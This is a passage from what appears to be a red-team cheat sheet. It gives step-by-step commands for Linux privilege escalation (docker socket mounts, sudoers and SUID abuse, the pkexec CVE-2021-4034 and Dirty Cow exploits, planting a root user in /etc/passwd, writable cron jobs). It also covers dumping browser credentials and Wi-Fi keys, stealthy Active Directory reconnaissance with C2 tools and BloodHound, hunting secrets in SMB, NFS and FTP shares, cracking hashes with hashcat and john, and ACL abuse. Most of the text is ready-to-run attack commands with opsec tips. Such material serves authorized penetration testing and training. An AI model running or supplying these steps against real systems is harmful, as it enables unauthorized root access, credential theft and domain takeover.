        - 2. Mount host partition to image: `docker run -v /:/mnt --rm -it <image name>:<tag name> chroot /mnt sh`
    - Option 2: **Writeable socks**:
        - 1. Search for the socket (usual location "/run/docker.sock"): `find / -name docker.sock 2>/dev/null`
        - 2. List images: `docker images`
        - 3. Mount host partition to image (if docker socket is in an unusual place use "-H unix:///path/to/docker.sock"): `docker run -it -v /:/mnt/ <image name>:<tag name> chroot /mnt/ bash`

Abuse execution permissions:

Sudoers privilege abuse:

In the /etc/sudoers file, extra permissions can be assigned to a specific user that may run specific or all commands with root privileges.

- 1. List services that current user can run with sudo privileges:
    - `sudo -l`
    - `cat /etc/sudoers`
- 2. Exploit privileges:
    - Option 1: **NOPASSWD**: If "(ALL:ALL) ALL" and "(ALL) NOPASSWD: ALL" privileges are set, game on! Current user has sudo rights and no password is needed: `sudo su`
    - Option 2: **!root**: If result looks like "(ALL, !root) /bin/bash" use the following command to get root shell: `sudo -u#-1 /bin/bash`
    - Option 3: **Specific service**: If sudo privilege is set for a specific service:
        - 1. Determine if it is a known service or custom program/script:
            - If it is a known service, check GTFOBin if the service can be used for privesc (e.g. nmap, vi, less, find): https://gtfobins.github.io/
            - If it a custom program/script, enumerate what it does and find a possible way to get command execution (e.g. dangerous programming functionalities, etc.)
        - 2. Run vulnerable service/program with sudo rights:
            - As current user: `sudo <path/to/service>`
            - As other user: `sudo -u <username> <path/to/service>`
    - Option 4: **Service is an editor**:
        - If user is only allowed to use the editor against a specific file but the path contains * (e.g. "(root) NOPASSWD: sudoedit /home/*/*/file.txt"), make sure that the * are all filled in with an existing directory. Try to modify (via symlink attack) and/or read sensitive files (e.g. /etc/shadow).
        - If user is only allowed to use the editor within a specific directory (e.g. (root) NOPASSWD: /bin/nano /var/opt/*)?
            - 1. Try path traversal technique to modify sudoeurs and add root privileges to current user account: `sudo </path/to/editor>/../../etc/sudoers`
            - 2. In the sudoers file modify privileges for the current user: `<username> ALL=(ALL) NOPASSWD:ALL`
            - 3. Save changes and privesc to root: `sudo su`

SUID permission abuse:

SUID/Setuid stands for "set user ID upon execution" and it is enabled by default in every Linux distributions. If the file owner is root, the uid will be changed to root even if it was executed from a low privileged user. SUID bit is represented by an 's'.

- (info) SUID binary must be run without sudo. It is recommended to use the "chmod u+s /bin/bash" technique instead if spanning a new shell.
- 1. Check if the SUID bit is set on a binary (looks like: -rw[s]r-xr-x): `find / -perm -4000 2>/dev/null | xargs ls -la`
- 2. If yes, analyse the binary:
    - Option 1: **GTFOBins**: search GTFOBins if the binary is known and can be used for privesc and follow instructions as described for this specific exploitation: https://gtfobins.github.io/
    - Option 2: **Custom binary**:
        - 1. Analyse what the binary does (recommended to use pspy64 and strings)
        - 2. (optional) if the binary uses another binary without specifing its full path, privesc is most likely possible:
            - 1. Create new binary in the home directy of the current user (don't forget to chmod +x): `echo 'chmod u+s /bin/bash' > <name binary that is called by the setuid binary>`
            - 2. Add the home directy as the first entry to the environment path: `export PATH="$HOME:$PATH"`
            - 3. Run the setuid binary.

Polkit's pkexec privesc (CVE-2021-4034):

This local privilege escalation vulnerability exists in polkit's pkexec, a SUID-root program that is installed by default on every major Linux distribution.

- 1. Downlaod and compile exploit (CVE-2021-4034): `make`
- 2. Upload both the 'exploit' and 'evil.so' files to the target system and give 'exploit' execution permissions: `chmod +x exploit`
- 3. Elevate to root: `./exploit`

Linux Capability abuse:

Capabilities in Linux are special attributes that can be allocated to processes, binaries, services and users and they can allow them specific privileges that are normally reserved for root-level actions, such as being able to intercept network traffic or mount/unmount file systems. If misconfigured, these could allow an attacker to elevate their privileges to root.

- 1. List Linux Capabilities (also lse.sh will list them): `getcap -r / 2>/dev/null`
- 2. Search if one of the binaries can be used for privilege escalation (e.g. python)

Identify vulnerable local service:

- 1. Search for interesting services:
    - Check for local running services: `netstat -tulpn`
    - Check if the service is running in privileged context: `ps -aux | grep <PID>`
    - Check what new processes are started on the system (use -f for verbose output) (pspy64): `./pspy64 (-f)`
- 2. Check if the service can be exploited:
    - Check if you can access the service (e.g. mysql or nfs) with root privileges either anonymously or with obtained creds
    - Analyse the inner workings of the service binary: `strace <binary name>`

    - List service version and check if it is vulnerable: `<service name> (-v | --version)`
- 3. Exploit service (few examples):
    - MySQL/MariaDB:
        - Option 1: Search database and dump interresting content
        - Option 2: modify database content to gain access to an interesting application with high privileges
        - Option 3: UDF Exploitation.
    - Web service like Apache: drop a webshell in the root web folder and activate it via the browser.

Abuse write permissions:

Cronjob exploitation:

- 1. Search for vulnerable cronjob files:
    - 1. Search for files that are writeable by all users and run as root (check if rwx permissions are set): `find /etc/cron* -type f -perm -o+w -exec ls -l {} \;`
    - 2. pspy tool can give information about running jobs (if the job is frequently executed) (tool must be uploaded first) (pspy64): `./pspy64`
- 2. Modify the found cronjob to execute an arbitrary command (example set SUID bit for bash): `echo -e '#!/bin/bash\n/bin/chmod u+s /bin/bash' > </path/to/cronjob>` (e.g. /etc/cron.hourly/oddjob)

Identify folder & file write permissions:

- Find writeable folders: `find / -type d \( -perm -g+w -or -perm -o+w \) -exec ls -adl {} \; 2>/dev/null`
- Find writeable files (use 1 dir (e.g. etc) to search in each time for less verbose output): `find /etc -type f \( -perm -g+w -or -perm -o+w \) -exec ls -adl {} \; 2>/dev/null`

Insecure file & folder permission abuse:

- **/etc/passwd:**
    - (info) For backwards compatibility, if a password hash is present in the second column of a /etc/passwd user record, it is considered valid for authentication and it takes precedence over the respective entry in /etc/shadow if available.
    - 1. Check if you have write permissions for the "/etc/passwd" file
    - 2. If yes, add new root user (root2) to the file:
        - 1. First create hashed password: `openssl passwd <password>`
        - 2. Write new user to /etc/passwd: `echo "root2:<generated hash>:0:0:root:/root:/bin/bash" >> /etc/passwd`
    - 3. Elevate to your added root user: `su root2`
- **/etc/sudoers:** set sudo rights to ALL for controlled user: `echo "<username> ALL=(ALL:ALL) ALL" >> /etc/sudoers`
- **user SSH folder:** Create an ssh key and copy it to the '/home/user/.ssh/authorized_keys' folder of the user you have write permissions for.
- **Ansible**: If you have write access to a playbook, modify it to add own command to the playbook that will run as root:
    - 1. Modify the playbook so its runs your command and add "become: yes" to the file to run it as root (example):

```
---
- name: Example original code
  hosts: all
```

```
gather_facts: true
become: yes
tasks:
  - name: Example code
    debug:
        msg: "The hostname is {{ ansible_hostname }} and the OS is {{ ansible_distribution }}"

  - name: new malicious command
    shell: <command to run>
    async: 10
    poll: 0
```

- 2. Run playbook or wait until its run by a privileged user: `ansible-playbook <playbook.yaml>`

Search for secrets:

General file search queries:

- Search for files that are recently modified: `find /<dir (e.g. home) -type f -mmin -<minutes (e.g. 60)>`
- Search for specific file type/name: `find /* -name "*.php" -print 2>/dev/null`
- Search for a specific word in files (example: db_passwd, password): `find . -type f -maxdepth 4 | xargs grep -i "<search term>"`
- Check binary files for readable strings: `strings <file>`

Interesting files to search for:

- Check user command history (search for mistakenly entered clear text passwords): `history`
- Check if you can access on of the following files that store hashed or encoded passwords:
  - `.htpasswd`
  - `.htaccess`
  - `/etc/shadow`
  - `.config`
- Check for SSH keys
- Search in log files for interesting information:
  - `/var/log/auth.log`
  - `/var/log/apache2/access_log`
- Dump cleartext Pre-Shared Wireless Keys from Network Manager: `cat /etc/NetworkManager/system-connections/* |grep -E "^id|^psk"`
- Ansible: check for hardcoded creds or other secrets in any stored playbooks (playbooks have the .yaml/.yml extention), backups and "/var/log/syslog" file.

Dump stored web credentials/cookies:

- (info) this tool *supports the most popular browsers on the market and runs on Windows, macOS and Linux.*
- 1. Run tool which stores all results in a new folder called "results" (HackBrowserData): `hack-browser-data -dir <path to store folder with results>`
- 2. Extract the interesting files back to your system and start analysing.

System exploitation:

Exploit vulnerable kernel:

- 1. List kernel version: `uname -a`

- 2. Search if the kernel is vulnerable and download the PoC or choose one of the below reliable exploits:
    - Ubuntu 12.04.2: perf_swevent_init - Linux Kernel < 3.8.9 (x86-64)
    - Ubuntu 11.10 | Ubuntu 10.04 | Redhat 6: mempodipper - Linux Kernel 2.6.39 < 3.2.2 (x86-64)
    - Ubuntu 12.04 | Ubuntu 14.04 | Ubuntu 16.04: Dirty Cow
        - Option 1: **write to file**:
            - 1. Compile exploit on target system or simular own system (DirtyCow): `gcc -pthread pokemon.c -o exploit`
            - 2. Generate new hashes password: `openssl passwd <password>`
            - 3. On the target system run the exploit which will add a new root user to the /etc/passwd file: `./exploit /etc/passwd 'root2:<generate hash>:0:0:root:/root:/bin/bash'`
            - 4. Escalate to root: `su root2`
        - Option 2: **firefart /etc/passwd**:
            - 1. Compile the PoC (DirtyCow): `gcc -pthread dirty.c -o dirty -lcrypt`
            - 2. Run the exploit and submit a password for the new user "firefart"
            - 3. Escalate to root via "firefart": `su firefart`
    - Ubuntu 14.04 | Ubuntu 16.04: KASLR / SMEP - Linux Kernel < 4.4.0-83 / < 4.8.0-58
- 3. If not already, compile PoC and run on target system:
    - Option 1: **C code for UNIX based systems**: It is important that the environment where the C code is compiled matches that of the target environment. Compile C code: `gcc script.c -o exploit`
    - Option 2: **Compile 32bit binary on x64 bit system**:
        - 1. Install libraries:
            - `sudo apt-get install gcc-9-base`
            - `sudo apt-get install gcc-multilib`
        - 2. Compile c code (both -Wall and -Wl are optional): `gcc -m32 (-Wall) -o <output file> <script>.c (-Wl,--hash-style=both)`

Domain reconnaissance

Find points of interest:

Identify systems based on passive analysis:

TCPdump / Wireshark:

- For live traffic analysis use Wireshark.
- Stores incoming packets in file.pcap:
  - 1: Sniff and store traffic: `tcpdump -i <interface (e.g. eth0)> (<port>) -w file.pcap`
  - 2: Analyse/read file: `tcpdump -i <interface (e.g. tun0)> -r file.pcap`
- Capture specific network traffic:
  - `tcpdump -i <interface (e.g. eth0)> | grep <search ip>`
  - `tcpdump -i <interface (e.g. eth0)> -vvvASs o dst <search ip>`
- Checks for incoming ping request: `tcpdump -i <interface (e.g. tun0)> icmp`
- Analyse pcap file in terminal: `tcpdump -qns 0 -X -r <file.pcap>`

SNMP MIB:

The SNMP Management Information Base (MIB) is a database containing information usually related to network management. If you can reach the interface (udp 161) and it is used by a firewall, it may be possible to dump local IP adresses and identify new hosts.

- (info) The following MIB values correspond to specific Microsoft Windows SNMP parameters:
  - System Processes: 1.3.6.1.2.1.25.1.6.0
  - Running Programs: 1.3.6.1.2.1.25.4.2.1.2
  - User Accounts: 1.3.6.1.4.1.77.1.2.25
  - TCP Local Ports: 1.3.6.1.2.1.6.13.1.3
- 1. Scan for the default community string (onesextyone): `onesixtyone -c /usr/share/Seclists/Discovery/SNMP/common-snmp-community-strings.txt <target ip or range>`
- 2. Gather information from the MIB database (use one of the above MIB values to request data from the database):
  - Dump specific data based on a MIB value (recommended): `snmpwalk -c <community string> -v<version (e.g. 2c)> <target ip> <MIB value>`
  - Dump all data: `snmpwalk -c <community string> -v<version (e.g. 2c)> <target ip> | tee snmp-mib.txt`

Identify systems based on active scanning:

Subnet and host discovery:

- Identify new subnets and active hosts within that subnet: `netdiscover -r <10.0.0.0/8 | 172.16.0.0/16 | 192.168.0.0/16>`

Host Discovery:

- **From beacon**:
  - Via Active Directory Integrated DNS (ADIDNS) (StandIn): `StandIn.exe --dns (--forest)`
  - Request computer names from DC (check "Active Directory Mapping" section)
  - Gather remote system version info via API: CS BOF (C2-Tool-Collection): `Smbinfo <ip>`
- **From own attacker system**:
  - Ping based host discovery in subnet (optional to only output IP/FQDN of live hosts): `nmap -sn 10.0.0.0/24 -n (|grep for |cut -d " " -f 5)`
  - Host discovery via open port through proxychains (change the specified port for something that most likely is open on Windows or Linux based systems): `proxychains4 nmap -sTV -p <port> --open <target ip range>`

Port scanning:

- (opsec alert): do not scan whole subnets in a short amount of time as network monitoring can detect it.
- Option 1: **Cobalt strike**: `portscan <target ip> <port,port> none 1024`
- Option 2: **PoshC2:** `portscan "<target ip>" "<port>,<port>" 1 100`
- Option 3: **Nmap**:
  - Stealthy Nmap scan (can take some serieus time if scanning all ports):
    - 1. Create list of IP targets (Prips): `./prips.sh <start ip> <end ip> > hosts.txt`
    - 2. Scan range (make sure nmap supports the '--win' option or leave it out): `Nmap --reason -Pn -n -T2 --scan-delay 12 (--win 1023) -sTV --version-intensity 0 --max-retries 0 --randomize_hosts <-p 22,445 | -p0-> -oA scan-results -v --open -iL hosts.txt (--script-args http.useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36")`
  - Complete port scan with verbose output: `nmap -p- -v <target ip>`

Find points of interest via AD information gathering:

General domain information:

- List DC's, domain policy, domain/forest name (CS BOF) (C2-Tool-Collection): `Domaininfo`
- Check domain password policy (PowerView): `Get-DomainPolicyData | select -ExpandProperty SystemAccess`
- List Organization Units (OUs) (SharpView): `Get-DomainOU -Properties Name | sort -Property Name`
- List computers in specific OU (SharpView): `Get-DomainComputer -SearchBase "LDAP://OU=<OU name>,DC=domain,DC=com"`

Computer and user information:

- List all the domain controllers within the current domain (StandIn): `standin --dc`
- List all computer accounts in the domain (SharpView | PowerView): `Get-DomainComputer (|Out-File -encoding ascii hosts.txt)`
- List all computer- and service accounts (Windapsearch): `./windapsearch-linux-amd64 -d <target DC ip> (-u <usename>@<FQDN>) (-p "<password>") -m computers`
- List all user accounts in the domain
  - Option 1: SharpView/PowerView: `Get-DomainUser (|Out-File -encoding ascii users.txt)`

    - Option 2: CS BOF (CS-Situational-Awareness-BOF): `domainenum`
- Dump all domain users and email addresses (Windapsearch): `./windapsearch-linux-amd64 -d <target DC ip> (-u <usename>@<FQDN>) (-p "<password>") -m users (--full) (--attrs cn,displayName,userAccountControl,mail,memberOf,homeDirectory,description)`
- Check accounts that do not have to follow the password policy rules and may have an empty or weak password set (doesn't have to be but could be) (StandIn): `StandIn.exe --passnotreq`
- List all accounts with mail box via Exchange Global Address List (GAL) (MailSniper): `Get-GlobalAddressList -ExchHostname <FQDN exchange server> -UserName <domain>\<username> -Password <password> -OutFile C:\users\public\documents\email-addresses.txt`
- Enumerate local system users (only possible if you can read the IPC$ share) (impacket): `python3 lookupsid.py .\/<username>@<target ip>`
- List users with high privileges (if the 'userAccountControl' attribute has the value '512' or '66048' the account is enabled) (Windapsearch): `./windapsearch-linux-amd64 -d <target DC ip> (-u <usename>@<FQDN>) (-p "<password>") -m privileged-users --attrs cn,displayName,userAccountControl,mail,memberOf,homeDirectory,description`

Group information:

- List all groups in the domain
    - Option 1: SharpView: `Get-DomainGroup`
    - Option 2: CS BOF (CS-Situational-Awareness-BOF): `netGroupList`
- List members of a specific domain group
    - Option 1: StandIn: `standin --group "Domain Admins"`
    - Option 2: CS BOF (CS-Situational-Awareness-BOF): `netGroupListMembers "<groupname>"`
- Enumerate the machines in the domain where a specific domain user/group is a member of a specific local group through GPO correlation (specify either user or group) (PowerView): `Get-DomainGPOUserLocalGroupMapping (-Identity <username>) (-LocalGroup <local group name>) | select ObjectName, GPODisplayName, ContainerName, ComputerName`
- List all groups and list its members (Windapsearch) `./windapsearch-linux-amd64 -d <target DC ip> (-u <usename>@<FQDN>) (-p "<password>") -m groups --attrs member`

Session information:

- Query all computers and check which user is logged in or specify a specific user (SharpView): `Find-DomainUserLocation (-UserIdentity "<username>")`
- Identify on which system(s) domain admins are currently logged in (PowerView): `Find-DomainUserLocation -UserGroupIdentity "Domain Admins"`
- Returns user session information of the current or remote machine (where CName is the source IP) (SharpView): `Get-NetSession -ComputerName <IP or FQDN target system>`
- Identify systems you have local admin access to (SharpView): `Find-LocalAdminAccess`

Exchange server data:

- 1. Request the Exchange server for all available tables (e.g. Users, Folders) (impacket): `python3 exchanger.py <domain>/<username(:<password>)@<FQDN exchange server> nspi list-tables (-hashes :<NTLM>)`
- 2. Dump the data from a specific table (impacket): `python3 exchanger.py <domain>/<username(:<password>)@<FQDN exchange server> nspi dump-tables -guid <the Guid string from the table listing> (-hashes :<NTLM>)`

- 3 Retrieve specific user AD information based on dumped GUID (impacket): `python3 exchanger.py <domain>/<username(:<password>)@<FQDN exchange server> nspi guid-known -guid <target user Guid> -lookup-type FULL (-hashes :<NTLM>)`

Find points of interest via AD relationship mapping:

Use Bloodhound GUI:

- 1. (optional) Install and configure dependencies:
  - 1. Install neo4j database: `sudo apt-get install neo4j`
  - 2. Start the neo4j console: `neo4j console`
  - 3. Browse to http://localhost:7474 and login with username "neo4j" and password "neo4j"
  - 4. Change your password and close the browser
- 2. Make sure the neo4j console is running: `neo4j console`
- 3. Start bloodhound GUI (Bloodhound): `./BloodHound --sandbox`
- 4. Drag and drop bloodhound.zip or all .JSON files in the bloodhound interface (check below for ingestors).
- 5. Add custom queries to bloodhound GUI (add the customqueries.json file to the '~/.config/bloodhound/' folder).

Collect Bloodhound data via ingestors:

- (info) Make sure that you use an up-to-date ingestor that us compatible with BloodHound version 4.1. Furthermore, don't forget to delete the on disk saved .zip file after you downloaded it to your own system.
- Option 1: **C# ingestor** (for PoshC2: run-exe Sharphound.Program SharpHound) (SharpHound.exe): `SharpHound.exe -c all -d <FQDN> --outputdirectory c:\users\public\documents\ --zipfilename <filename> (--encryptzip) (--stealth) (--ldapusername <username> --ldappassword <password> --domaincontroller <target DC IP>)`
- Option 2: **PowerShell ingestor** (SharpHound.ps1): `Invoke-Bloodhound -CollectionMethod All -NoSaveCache -OutputDirectory c:\users\public\documents\ (-ZipFilename <filename>) (-EncryptZip) (-DisableKerberosSigning)`
- Option 3: **Python ingestor**:
  - 1. (optional) If DNS is not configured, modify "/etc/resolv.conf" so it is possible to query the target DC:
    - 1. In "/etc/resolv.conf" add the following variables (under the original ones):

      ```
      nameserver <ip target DC>
      search <FQDM (e.g. hidro.local)>
      ```

    - 2. in "/etc/hosts" delete any lines pointing to the target DC ip
  - 2. Gather data (Bloodhound.py): `bloodhound.py -u <user> -p '<pass>' -d <FQDN> -ns <target DC ip> -dc <FQDN target DC> --disable-pooling -w1 -dns-timeout 30 -c all`
- Option 4: **Snapshot ingestor**:
  - 1. Create snapshot of AD from attacker Windows system:
    - 1. From the Sysinternals suite open 'ADExplorer64.exe' and enter credentials to login to the target DC (can be any valid user account)
    - 2. Create a snapshot of the AD: in the ADExplorer GUI, click on 'File' > 'Create Snapshot..'
  - 2. Create Bloodhound compatible json files: Extract the data as .json files from the .dat snapshot file (ADExplorerSnapshot): `python3 ADExplorerSnapshot.py </path to .dit file>`

Find & collect secrets in the domain:

Search for secrets in shares:

Enumerate SMB shares:

- **From beacon:** List all shares in the domain and check if you can access them (for poshc2: run-exe SharpShares.Program SharpShares) (SharpShares): `SharpShares shares`
- **From attacker system**:
  - Crawl every share on every target system (if provided creds don't work, it will fall back to "guest", then to a null session):
    - Search the network for filenames that may contain creds (ManSpider): `manspider <target ip range> -f <key word filename (e.g. cred, login) -d <domain> -u <username> -p <password>`
    - Search for specific file type containing a keyword (ManSpider): `manspider <single target ip or range> -c <keyword> -e <extension (e.g. xlsx)> -d <domain> -u <username> -p <password>`
  - Recursive list accessible shares and content (Smbmap): `smbmap.py -H <target ip> -u "" -p "" (-d <domain>) -R (<share name>) (--depth 5) -A '<pattern>'`
  - Find specific files within shares (Smbmap): `smbmap.py -H <target ip> -u "" -p "" (-d <domain>) -q -R (--depth 5) (--exclude <share name to exclude from recursive search>) -A '(xml|config|conf|asax|aspx|php|asp|jsp|html)'`

Mount to SMB share:

- 1. Mount to target share (use anonymous, randon username or password/hash) (impacket): `python3 smbclient.py (<domain>/)<username>@<target ip> (-hashes :<NTLM>)`
- 2. Command options:
  - List available shares: `shares`
  - Mount share: `use <share name>`
  - Move through directories and list, create and delete files/directories with normal unix commands
  - Download file: `get <filename>`
  - Upload file: `put <filename>`

Scan SysVol share for interesting files:

- 1. Search for interesting files like .xml Group Policy Preference (GPP) files in the DC SYSVOL share: `get-childitem \\<DC name>\SYSVOL\<FQDN>\Policies -include *.xml -Recurse`
- 2. Analyse the returned xml files (specially Groups.xml) for user information and encrypted passwords
- 3. (optional) GPP passwords are of type "cpassword" and can be decrypted to plaintext (gpp-decrypt): `python3 gpp-decrypt.py -f <groups.xml>`

Search for secrets on FTP/TFTP server:

FTP/TFTP login:

- (info) FTP/TFP is running on port tcp 21 and udp 69 respectively.
- FTP:
  - Normal login: `ftp <target ip>`

    - FTP login through proxychains: `proxychains4 ftp -p <target ip>`
- TFTP:
    - Check if TFTP is accessible: `nmap -sU -p 69 --script tftp-enum.nse <target ip>`
    - Connect to TFTP server: `tftp <target ip>`

FTP/TFTP commands:

- Download files:
    - (info) for Windows use directory names without spaces (check via "dir /X" command on a similar system).
    - Download single file: `get <file>`
    - Download multiple files: `mget <directory>`
    - Download binary/database/etc. file:
        - 1. Select binary mode: `binary`
        - 2. Download file: `get <file>`
- Upload file to target server:
    - Regular file upload: `put <file>`
    - Binary file upload:
        - 1. Select binary mode: `binary`
        - 2. Upload executable: `put <binary>`

Search for secrets in Network File System (NFS):

- (info) NFS is by default running on tcp/udp port 2049.
- 1. Check for misconfigured Exports (directories) on NFS servers (results can be found under port 111): `nmap --script nfs-ls,nfs-showmount,nfs-statfs <NFS Server IP>`
- 2. Before mounting, first create a temporary directory as your mount point: `mkdir -p /mnt/<create directory>`
- 3. Mount to folder:
    - 1. List available folders for mounting: `showmount -e <target ip>`
    - 2. Mount to folder: `mount -t nfs <target ip>:/<name available folder> /mnt/<created directory> -o nolock`
- 4. The content of the misconfigured directory is available at: `cd /mnt/<created directory>`
- 5. (optional) if you get permission denied while trying to read a file or accessing a folder, it is possible to create a new user on your own local system and modify that users UUID so it matches the user account who owns the file/folder:
    - 1. Check which name and UUID owns the file/folder you dont have persmissions for (run in the mounted folder): `ls -la`
    - 2. Create a new local user with the same name as the file/folder owner: `adduser <username>`
    - 3. Modify the new users UUID so it matches the UUID of the file/folder owner in /etc/passwd
    - 4. su to the new user and gain access to the folder or read the file: `su <username>`

Search for internal web apps:

Internal web apps are incredibly prevalent and are a great source of data. Search for Web Apps like: SharePoint, Confluence, ServiceNow, SIEMs etc.

- 1. Create a list of all IP addresses of live hosts in the network and save it as "urls.txt".

- 2. Take screenshots of websites, provide some server header info and identify default credentials if known (EyeWitness): `EyeWitness.exe -f C:\<path to>\urls.txt`

Cracking found secrets:

Password recovery preperations:

Download passwordlist:

- PasswordList
- Crackstation

Create custom wordlist:

- Targeted wordlist:
  - 1. Make small password list of key words associated with the target organisation and common words.
  - 2. Generate costum wordlist with variations based on the words: `hashcat --force --stdout -r /usr/share/hashcat/rules/best64.rule <name list with basic words> > output.txt`
- Keyboard walk wordlist:
  - (info) utility for generating key-walk passwords, which are based on adjacent keys such as 'qwerty', '1q2w3e4r' and '6yHnMjU7'
  - Based on the target region, select the correct keyboard layout (kwprocessor): `kwp64.exe basechars\full.base keymaps\en-us.keymap routes\2-to-10-max-3-direction-changes.route -o keywalk.txt`

Create custom rule set:

- 1. Create empty file with the extention '.rule'
- 2. Add custom rules to the file and place them under each other:
  - Append character: `$x (e.g. $2$0$2$1)`
  - Capatilize the first letter and lower the rest: `c`
  - Uppercase all letters: `u`
  - Duplicate entire word (Welkom01Welkom01): `d`

Create custom mask file:

- 1. Create empty file with the extention '.hcmask'
- 2. Add custom mask to file (modify below example masks if needed):
  - Add one number or special character to word with length 5 to 9:

```
?d?s, ?u?l?l?l?l?1
?d?s, ?u?l?l?l?l?l?1
?d?s, ?u?l?l?l?l?l?l?1
?d?s, ?u?l?l?l?l?l?l?l?1
?d?s, ?u?l?l?l?l?l?l?l?l?1
```

  - Start with specific word with additional numbers/special characters (change word that fits target):

```
?d?s, Password?1
?d?s, Password?1?1
?d?s, Password?1?1?1
?d?s, Password?1?1?1?1
```

  - All combinations for word length 7 to 9

```
?l?u?d?s, ?1?1?1?1?1?1?1
?l?u?d?s, ?1?1?1?1?1?1?1?1
?l?u?d?s, ?1?1?1?1?1?1?1?1?1
```

Modify excisting wordlist:

- Modify wordlist to specific password length: `grep '\w\{7,20\}' </path/to/wordfile> > newfile.txt`
- Create wordlist with specific password length and characteristics: `grep '[a-zA-Z0-9]\{7\}' </path/to/wordfile>`

Prepare large hash file for cracking:

- Create hash list from NTLM hash dump:
  - Filter usernames (and domain name if available) from impacket's secretsdump: `cat hashdump.txt| cut -d ":" -f1 | grep '^[a-zA-Z]' | uniq | tee users.txt`
  - Filter NT hashes from impacket's secretsdump: `cat hashdump.txt| cut -d ":" -f4 | uniq |tee nthashes.txt`
- Filter specific information from column based textfile (alter $? to change column): `cat <file> | awk '{print $2}' | awk -F\@ '{print$1}'`
- Change all uppercase to lowercase: `cat <file> | tr '[:upper:]' '[:lower:]'`
- Delete all spaces and new lines from a file: `cat <file> | tr -d "\n" | tr -d " "`

Password recovery:

Password recovery techniques:

- (info) Identify hashtype and select hash type code :
  - Hash type identification tool: `hashid <hash string>`
  - Via hashcat website
  - Locally via hashcat: `hashcat --example-hashes | grep <name hash>`
- Wordlist based hash cracking (use '—username' if hash format in file is 'user:hash'): `hashcat (--username) -m <hash type code> <file or code to crask> <wordlist> (--force)`
- Wordlist + Rule based hash cracking: `hashcat -a 0 -m <hash type code> <file or code to crask> <wordlist> -r file.rule`
- Mask based hash cracking:
  - Use custom mask file: `hashcat -m <hash type code> <hash file> -a 3 maskfile.hcmask`
  - Password length of 9 chars starting with uppercase and ending with small custom charset: `hashcat -m <hash type code> <hash file> -a 3 -1 ?d?s ?u?l?l?l?l?l?l?l?l`
  - Complete custom charset : `hashcat -m <hash type code> <hash file> -a 3 -1 "?l?u?d?s" "<add ?1 per char to specify word length>"`
- Wordlist + mask based hash cracking (for wordlist + mask use '-a 6' for mask + wordlist use '-a 7'): `hashcat -m <hash type code> <hash file> -a 6 <wordlist> <mask (e.g. ?d?d?d?d)>`

Common password recovery options:

- NTLM hash (copy only last part of hash): `hashcat -m 1000 <hash.txt> <wordlist.txt>`
- MS Cache 2 hash (also known as "Domain Cached Credentials 2") (only copy the following part of the dumped output "$DCC2$10240#username#hash"): `hashcat -m 2100 <hash.txt> <wordlist.txt>`

Extract and crack hashes from secured files:

- Office documents:
  - 1: Extract hash from .docx document: `python office2john.py dummy.docx > hash.txt`
  - 2: Crack hash: `john -wordlist=/<wordlist (e.g. rockyou.txt)> hash.txt`
  - 3: Show cracked password: `john --show hash.txt`
- ZIP files:
  - 1: Extract hash from .zip file: `zip2john file.zip > hash.txt`
  - 2: Crack hash: `john -wordlist=/<wordlist (e.g. rockyou.txt)> hash.txt`
  - 3: Show cracked password: `john -show hash.txt`
- RAR files:
  - 1: Extract hash from .zip file: `rar2john file.rar > hash.txt`
  - 2: Crack hash: `john -wordlist=/<wordlist (e.g. rockyou.txt)> (--format=rar) hash.txt`
  - 3: Show cracked password: `john -show hash.txt`
- - KeePass .kdb file:
  - 1. Extract hash from KeePass .kdb file: `keepass2john <Keepass Database>.kdb > keepasshash`
  - 2. Recover password: `hashcat -m 13400 keepasshash <wordlist>`
- Ansible vault:
  - 1. Copy from the identified playbook (.yaml file) or other file type, the encrypted content (looks something like: $ANSIBLE_VAULT;1.1;AES256…) without deleting any new lines and save it as vault_mod
  - 2. Extract the hash from the vault_mod file: `/usr/share/john/ansible2john.py vault_mod`
  - 3. Save the output in a new file called "vault_hash" without the filename at the beginning of the string.
  - 4. Recover the vault password: `hashcat -m 16900 vault_hash --session=<username> <wordlist>`
  - 5. Upload the "vault_mod" file back to the target system which has the installed ansible program
  - 6. Use the recovered password to dycrypt the actual vault and recover the secrets it holds (enter the recovered password in the previous step): `cat vault_mod | ansible-vault decrypt`

Domain exploitation

Abuse Active Directory misconfigurations:

Discretionary access control list (DACL) abuse:

Active Directory objects such as users and groups are securable objects and DACL/ACE's define who can read/modify those objects. DACL/ACE misconfigurations can be found in any domain object (e.g. groups, user accounts, computer accounts, Organizational Units).

Enumerate for DACL misconfigurations:

- (info) Misconfigured DACL's can also be found with BloodHound.
- Check which AD objects have interesting rights on the account object "account1" (PowerView): `Get-ObjectAcl -SamAccountName account1 -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|Self|WriteOwner|GenericWrite|Self|ForceChangePassword"}`
- Check which AD objects have privileged rights on the group object "Domain Admins" (PowerView): `Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=rto,DC=external"} | select ActiveDirectoryRights, SecurityIdentifier |fl`
- Check which 4 digit AD objects have interesting privileges on the account "account1" (PowerView): `Get-DomainObjectAcl -Identity account1 | ? { $_.ActiveDirectoryRights -match "GenericAll|WriteProperty|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-3263068140-2042698922-2891547269-[\d]{4,10}" } | select SecurityIdentifier, ActiveDirectoryRights | fl`
- Check which 4 digit AD objects have interesting privileges on other AD objects (PowerView): `Get-DomainObjectAcl | ? {$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|Self|WriteOwner|GenericWrite|Self|ForceChangePassword" -and $_.SecurityIdentifier -match "S-1-5-21-816166545-1771540570-1766462720-[\d]{4,10}"} | select ObjectDN, SecurityIdentifier, ActiveDirectoryRights |fl`
- Target an entire OU and list what privileges a principal (SecurityIdentifier) has over another principal (ObjectDN): `Get-DomainObjectAcl -SearchBase "OU=Servers,DC=rto,DC=external" | ? {$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|Self|WriteOwner|GenericWrite|Self|ForceChangePassword" | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier |fl`

Exploit DACL misconfigurations:

- (info) it is required to execute the following commands in the context of the object that has the rights to modify the target object.
- **GenericAll**: full rights which make it possible to add users to groups, reset passwords, add ACE to OU or read/modify protected attributes:
    - GenericAll on user accounts:
        - Make user/service accounts kerberoastable (check 'GenericWrite' section below).
        - Reset password user (for OPSEC use kerberoasting method instead): `net user <target user> <new password> (/domain)`
    - GenericAll on computer accounts:

